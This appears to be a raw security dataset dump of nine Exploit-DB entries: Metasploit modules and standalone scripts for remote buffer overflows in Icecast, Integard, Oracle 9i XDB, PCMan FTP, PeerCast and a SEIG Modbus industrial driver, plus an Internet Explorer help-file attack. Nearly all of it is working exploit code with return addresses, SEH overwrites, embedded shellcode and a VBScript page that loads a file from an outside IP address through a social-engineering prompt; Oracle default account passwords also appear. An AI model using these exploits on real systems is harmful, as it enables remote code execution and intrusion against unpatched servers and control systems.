deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16763
Description: Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: icecast_header.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
			'Description'    => %q{
					This module exploits a buffer overflow in the header parsing
				of icecast, discovered by Luigi Auriemma.  Sending 32 HTTP
				headers will cause a write one past the end of a pointer
				array.  On win32 this happens to overwrite the saved
				instruction pointer, and on linux (depending on compiler,
				etc) this seems to generally overwrite nothing crucial (read
				not exploitable).

				!! This exploit uses ExitThread(), this will leave icecast
				thinking the thread is still in use, and the thread counter
				won't be decremented.  This means for each time your payload
				exits, the counter will be left incremented, and eventually
				the threadpool limit will be maxed.  So you can multihit,
				but only till you fill the threadpool.

			},
			'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2004-1561'],
					[ 'OSVDB', '10406'],
					[ 'BID', '11271'],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => "\x0d\x0a\x00",
					'DisableNops' => true,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Sep 28 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(8000)
			], self.class)
	end

	# Interesting that ebp is pushed after the local variables, and the line array
	# is right before the saved eip, so overrunning it just by 1 element overwrites
	# eip, making an interesting exploit....
	# .text:00414C00                 sub     esp, 94h
	# .text:00414C06                 push    ebx
	# .text:00414C07                 push    ebp
	# .text:00414C08                 push    esi

	def exploit
		connect

		# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
		# jmp 12
		evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
		evul << "Accept: text/html\r\n" * 31;

		# jmp [esp+4]
		evul << "\xff\x64\x24\x04\r\n"
		evul << "\r\n"

		sock.put(evul)

		handler
		disconnect
	end

end
Exploit-DB #14941
Description: Integard Home and Pro 2 - Remote HTTP Buffer Overflow
Type: remote
Platform: windows_x86
Date: 2010-09-07
Author: Lincoln_ Nullthreat_ rick2600

Exploit:
class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Integard Home/Pro version 2.0',
			'Description'    => %q{
					Exploit for Integard HTTP Server, vulnerability discovered by Lincoln
			},
			'Author'  =>
				[
					'Lincoln',
					'Nullthreat',
					'rick2600',
					'corelanc0d3r' 
				],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: $',
			'References'    =>
				[
					['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars'  => "\x00\x20\x26\x2f\x3d\x3f\x5c",
					'StackAdjustment' => -1500,
				},
			'Platform'       => 'win',
			'Privileged'     => false,
			'Targets'        =>
				[
					[ 'Automatic Targeting',          { 'auto' => true }],
					[ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}],
					[ 'Integard Pro  2.2.0.9026', { 'Ret' => 0x0040362C,}],
				],
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(18881)
			], self.class )
	end


	def exploit
		mytarget = target
		continueattack=true
		if(target['auto'])
			mytarget = nil
			print_status("[*] Automatically detecting the target...")
			connect
			response = send_request_raw(
			{'uri' => '/banner.jpg', 
			'version' => '1.1', 
			'method' => 'GET'
			}, 5)
			contlength = response['Content-Length']
			if (contlength == "24584")
				print_status("[!] Found Version - Integard Home")
				mytarget = self.targets[1]
			elsif (contlength == "23196")
				print_status("[!] Found Version - Integard Pro")
				mytarget = self.targets[2]
			else
				print_status("[-] Unknown Version")
				continueattack=false
			end
			disconnect
		end
		if continueattack
			print_status("[!] Selected Target: #{mytarget.name}")
			print_status("[*] Building Buffer")
			pay = payload.encoded
			junk = rand_text_alpha_upper(3091 - pay.length)
			jmp = "\xE9\x2B\xF8\xFF\xFF"
			nseh = "\xEB\xF9\x90\x90"
			seh = [mytarget.ret].pack('V')
			buffer = junk + pay + jmp + nseh + seh
			print_status("[*] Sending Request")
			post_data = "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login"
			req = "/LoginAdmin"
			connect
			send_request_raw({
				'uri' => req,
				'version' => '1.1',
				'method' => 'POST',
				'headers' => 
					{
					'Host' => '192.168.1.1:18881',
					'Content-Length' => 1074
					},
				'data' => post_data
				}, 5)
			print_status("[*] Request Sent")
			handler
		end
	end
end
Exploit-DB #11615
Description: Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe MsgBox()' Remote Code Execution
Type: remote
Platform: windows_x86
Date: 2010-03-02
Author: Maurycy Prodeus

Exploit:
Microsoft Internet Explorer is prone to a remote code execution vulnerability.

Source (iSEC Security Research):
http://isec.pl/vulnerabilities10.html

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the underlying computer.

Note attackers must use social-engineering techniques to convince an unsuspecting user to press the 'F1' key when the attacker's message box prompts them to do so.

Internet Explorer 6, 7, and 8 are vulnerable when running on the Windows XP platform.

===============================================================
A copy of test.hlp can be downloaded from here:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11615.zip (msgbox_test_help.zip)
===============================================================

<html>
<script type="text/vbscript">
big = "\\184.73.14.110\PUBLIC\test.hlp"
 
//For i=1 to 2500
//  big = big & "\..\"
//Next
 
 
MsgBox "please press F1 to save the world", ,"please save the world",
big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</html>
Exploit-DB #16731
Description: Oracle 9i XDB (Windows x86) - FTP PASS Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: oracle9i_xdb_ftp_pass.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 9i XDB FTP PASS Overflow (win32)',
			'Description'    => %q{
					By passing an overly long string to the PASS command, a
				stack based buffer overflow occurs. David Litchfield, has
				illustrated multiple vulnerabilities in the Oracle 9i XML
				Database (XDB), during a seminar on "Variations in exploit
				methods between Linux and Windows" presented at the Blackhat
				conference.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2003-0727'],
					[ 'OSVDB', '2449'],
					[ 'BID', '8375'],
					[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Targets'        =>
				[
					[
						'Oracle 9.2.0.1 Universal',
						{
									'Platform' => 'win',
									'Ret'      => 0x60616d46, # oraclient9.dll (pop/pop/ret)
						},
					],
				],
			'DisclosureDate' => 'Aug 18 2003',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(2100),], self.class)
		deregister_options('FTPUSER', 'FTPPASS')
	end


	def check
		connect
		disconnect
		if (banner =~ /9\.2\.0\.1\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		user   = rand_text_alpha_upper(10)
		sploit =  rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6)
		sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded

		print_status("Trying target #{target.name}...")

		send_cmd( ['USER', user], true )
		send_cmd( ['PASS', sploit], false )

		handler
		disconnect
	end

end
Exploit-DB #16714
Description: Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# $Id: oracle9i_xdb_ftp_unlock.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',
			'Description'    => %q{
					By passing an overly long token to the UNLOCK command, a
				stack based buffer overflow occurs. David Litchfield, has
				illustrated multiple vulnerabilities in the Oracle 9i XML
				Database (XDB), during a seminar on "Variations in exploit
				methods between Linux and Windows" presented at the Blackhat
				conference. Oracle9i includes a number of default accounts,
				including dbsnmp:dbsmp, scott:tiger, system:manager, and
				sys:change_on_install.
			},
			'Author'         => [ 'MC', 'David Litchfield <david@ngssoftware.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'Platform'       => [ 'win' ],
			'References'     =>
				[
					[ 'CVE', '2003-0727'],
					[ 'OSVDB', '2449'],
					[ 'BID', '8375'],
					[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'Oracle 9.2.0.1 Universal',
						{
							'Ret'      => 0x60616d46, # oraclient9.dll (pop/pop/ret)
						},
					],
				],
			'DisclosureDate' => 'Aug 18 2003',
			'DefaultTarget' => 0))

		register_options([
			Opt::RPORT(2100),
			OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']),
			OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']),
		], self.class )
	end

	def check
		connect
		disconnect
		if (banner =~ /9\.2\.0\.1\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf = rand_text_english(1130, payload_badchars)
		seh = generate_seh_payload(target.ret)
		buf[322, seh.length] = seh

		send_cmd( ['UNLOCK', '/', buf] , false )

		handler
		disconnect
	end

end
Exploit-DB #16809
Description: Oracle 9i XDB (Windows x86) - HTTP PASS Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: oracle9i_xdb_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the authorization
				code of the Oracle 9i HTTP XDB service. David Litchfield,
				has illustrated multiple vulnerabilities in the Oracle
				9i XML Database (XDB), during a seminar on "Variations
				in exploit methods between Linux and Windows" presented
				at the Blackhat conference.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2003-0727'],
					['OSVDB', '2449'],
					['BID', '8375'],
					['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 18 2003'))

		register_options(
			[
				Opt::RPORT(8080)
			], self.class )
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect

		if (resp =~ /9.2.0.1.0/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit =  rand_text_english(4, payload_badchars) + ":"
		sploit << rand_text_english(442, payload_badchars)
		sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
		sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded

		req  = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"

		res  = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req

		print_status("Trying target %s..." % target.name)

		sock.put(res)

		handler
		disconnect
	end

end
Exploit-DB #39729
Description: PCMan FTP Server 2.0.7 - 'RENAME' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2016-04-25
Author: Jonathan Smith

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

## Original Exploit Information ##
# Date:  29 Aug 2015
# Exploit Author: Koby
# Tested on: Windows XP SP3
# Link: https://www.exploit-db.com/exploits/38013/

## Software Information ##
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7

## Metasploit Module Information ##
# Date:  16 April 2016
# Exploit Author: Jonathan Smith
# Tested on: Windows XP SP2

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})

 super(update_info(info,

    'Name' => 'PCMan RENAME overflow',

    'Description' => 'This module exploits a buffer overflow in the RENAME command of PCMAN FTP Server 2.0.7. This requires authentication but anonymous credentials are enabled by default.',

    'Author' => [ 'Metasploit module author: Jonathan Smith. Vulnerability originally discovered by Koby on 29 August 2015. Metasploit module developed 16 April 2016.'],

    'Version' => '$Revision: 1 $',

    'Platform' => ['win'],

    'Targets' => [ [ 'Windows XP SP2', { } ],],

    'DefaultTarget' => 0,

    'License' => GPL_LICENSE,

    'Payload' => {'BadChars' => "\x00\x0a\x0d"},

    'DefaultOptions' => {'EXITFUNC' => 'process'}

 ))

 end

def exploit

 connect_login

 exploitcode = "A" * 2004 + "\x65\x82\xA5\x7C" + make_nops(30) + payload.encoded

 send_cmd( ['RENAME', exploitcode] , false )

 disconnect

 end

end
Exploit-DB #16786
Description: PeerCast 0.1216 (Windows x86) - URL Handling Buffer Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in PeerCast <= v0.1216.
				The vulnerability is caused due to a boundary error within the
				handling of URL parameters.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2006-1148'],
					['OSVDB', '23777'],
					['BID', '17040'],
					['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 English SP0-SP4', { 'Ret' => 0x75023360 }],
					['Windows 2003 English SP0-SP1', { 'Ret' => 0x77d099e3 }],
					['Windows XP English SP0/SP1',   { 'Ret' => 0x77dbfa2c }],
					['Windows XP English SP0/SP2',   { 'Ret' => 0x77dc12b8 }],
				],
			'DisclosureDate' => 'Mar 8 2006'))

		register_options( [ Opt::RPORT(7144) ], self.class )
	end

	def exploit
		connect

		pat = rand_text_alphanumeric(1024)
		pat[768, 4] = [target.ret].pack('V')
		pat[812, 5] = [0xe9, -517].pack('CV')
		pat[300, payload.encoded.length] = payload.encoded

		uri = '/stream/?' + pat

		res = "GET #{uri} HTTP/1.0\r\n\r\n"

		print_status("Trying target address 0x%.8x..." % target.ret)
		sock.put(res)
		sock.close

		handler
		disconnect
	end

end
Exploit-DB #45220
Description: SEIG Modbus 3.4 - Remote Code Execution
Type: remote
Platform: windows_x86
Date: 2018-08-20
Author: Alejandro Parodi

Exploit:
# Title: SEIG Modbus 3.4 - Remote Code Execution
# Author: Alejandro Parodi
# Date: 2018-08-17
# Vendor Homepage: https://www.schneider-electric.com
# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4
# Version: v3.4
# Tested on: Windows XP SP3
# CVE: CVE-2013-0662
# References: 
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662

import socket
import struct

ip = "192.168.127.138"
port = 27700
con = (ip, port)


####### MESSAGE ##########
message_header = "\x00\x64"
message_buffer = "A" * 0x5dc
eip = struct.pack("<I", 0x7C9C167D)

# Shellcode generated with:
# msfvenom -a x86 --platform windows -p windows/exec cmd=calc -e x86/xor_call4 -f python
# Shellcode Size: 189 bytes
nopsleed = "\x90" * 100 # \x90 bad char bypass
shellcode  = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
shellcode += "\xff\xd5\x63\x61\x6c\x63\x00"

message = message_header + message_buffer + eip + nopsleed + shellcode
print "Message Len: " + hex(len(message)) + " bytes"
##########################

######## PKG HEADER ######
header_padding = "\x42\x42"
header_buf_size = "\xFF\xFF"
header_recv_len = struct.pack(">H", len(message))
header_end = "\x44"

header = header_padding + header_buf_size + header_recv_len + header_end
##########################

######## CRAFTING PAYLOAD ########
payload = header + message
print "Package Len: "+hex(len(payload)) + " bytes"
##################################

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(con)
s.send(payload)